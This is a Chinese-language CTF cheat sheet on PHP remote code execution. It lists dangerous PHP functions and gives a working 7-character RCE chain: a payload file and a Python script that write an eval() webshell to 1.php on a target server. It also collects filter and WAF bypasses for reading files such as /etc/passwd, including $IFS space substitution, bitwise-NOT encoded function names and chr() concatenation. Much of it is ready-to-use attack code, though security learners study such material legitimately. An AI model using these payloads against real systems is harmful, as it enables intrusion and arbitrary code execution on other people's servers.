常见RCE漏洞函数
系统命令执行函数
system():能将字符串作为OS命令执行,且返回命令执行结果;
exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);
shell_exec():能将字符串作为OS命令执行
passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
popen():打开进程文件指针
proc_open():与popen()类似
pcntl_exec():在当前进程空间执行指定程序;
反引号``:反引号``内的字符串会被解析为OS命令;
代码执行函数
eval():将字符串作为php代码执行;
assert():将字符串作为php代码执行;
preg_replace():正则匹配替换字符串;
create_function():主要创建匿名函数;
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
长度限制下的命令执行-rce
七字符rce
CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总
源码
<?php
highlight_file(__FILE__);
if(strlen($_GET[1]<7)){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>
预备知识:
a #虽然没有输入但是会创建a这个文件
ls -t #ls基于基于事件排序(从晚到早)
sh a #sh会把a里面的每行内容当作命令来执行
使用\进行命令拼接 #l\ s = ls
base64 #使用base64编码避免特殊字符
#写入语句
<?php eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
payload:
payload.txt 里的内容为:
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
脚本代码:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://172.19.14.20:27444/index.php?rce={0}"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
# 检查是否攻击成功
test = requests.get("http://172.19.14.20:27444/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
攻击完成后就会生成1.php文件
**注:**这里用的是<?php eval($_GET[1]); 不是一句话木马,不能用蚁剑链接(可能改成POST就行了,不过没有尝试)
这里成功之后 http://172.19.14.20:27444/1.php?1=phpinfo(); 这样就能得到phpinfo。这个如果第一次失败了,在多尝试几次也失败了,记得关了环境重来(这个好像多弄几次失败的对环境有影响!)
关键字过滤替换
system替换
system()
passthru()
exec()
shell_exec()
popen()/proc_open()
cat替换
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
more
less
head
tac
tail
nl
od
vi
vim
sort
uniq
骚操作
curl file:///flag 也行
bash -v /etc/passwd
date -f 好像可以越权读取文件
大小写绕过
php可以忽略大小写的,如果preg_match没有过滤大小写就可以
管道符: ; 实现字符串拼接
在Linux下才能使用
//(preg_match("/.*f.*l.*a.*g.*/", $ip)
实现:构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php即可获取flag 注:此处将变量ab的位置互换是为了绕过字符串匹配
//;可执行多条命令,$a$b会自动字符拼接
符号替换
空格
<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
{cat,flag.php}//用逗号实现空格功能
编码绕过
URL绕过
<?php
$a=urlencode(~'phpinfo');//必须加上~,否则不会字母转义
echo $a;
?>
//得到:%8F%97%8F%96%91%99%90
//(~%8F%97%8F%96%91%99%90)=phpinfo
//则phpinfo()=(~%8F%97%8F%96%91%99%90)()
//(flag.php)=(~(%99%93%9E%98%D1%8F%97%8F))
//highlight_file(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)
//则:highlight_file(flag.php)=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~(%99%93%9E%98%D1%8F%97%8F))
chr()函数绕过(scandir() 获取指定目录下的文件)
原理:特殊字符也被过滤了,尝试使用chr()函数将ascii值转换为字符串进行拼接
payload:
/calc.php?%20num=var_dump(scandir(chr(46).chr(47)))//使用 . 链接
scandir() 获取指定目录下的文件,返回数组
数组需要var_dump()或者print_r()函数进行打印
chr()将ascii值转换为字符串
ord()将字符转换成对应的ASCII编码值
符号绕过
空格
来源:[RoarCTF 2019]Easy Calc
http://node4.buuoj.cn:26885/calc.php?num=phpinfo()//当我们直接这么输入时,因为有waf,所以会显示:Forbidden被禁止的
//原理:PHP在接收URL传入的内容时,会将空格去除,将一些特殊字符转换为下划线(转换对象也包含空格)。
//这里在num传参和?之后加入一个空格就可以绕过waf
//实现:http://node4.buuoj.cn:26885/calc.php?%20num=phpinfo()
科学计数法绕过
if($this->op == "2")
使用:2a不能绕过,因为这里"2"是字符串,不是数字,所以2a也不会变为数字2
使用:2e0,即使是字符串,也会自己变为数字2,成功绕过
注:此文章有一些来源于网络,本人引用了一部分,若有不满,请联系删除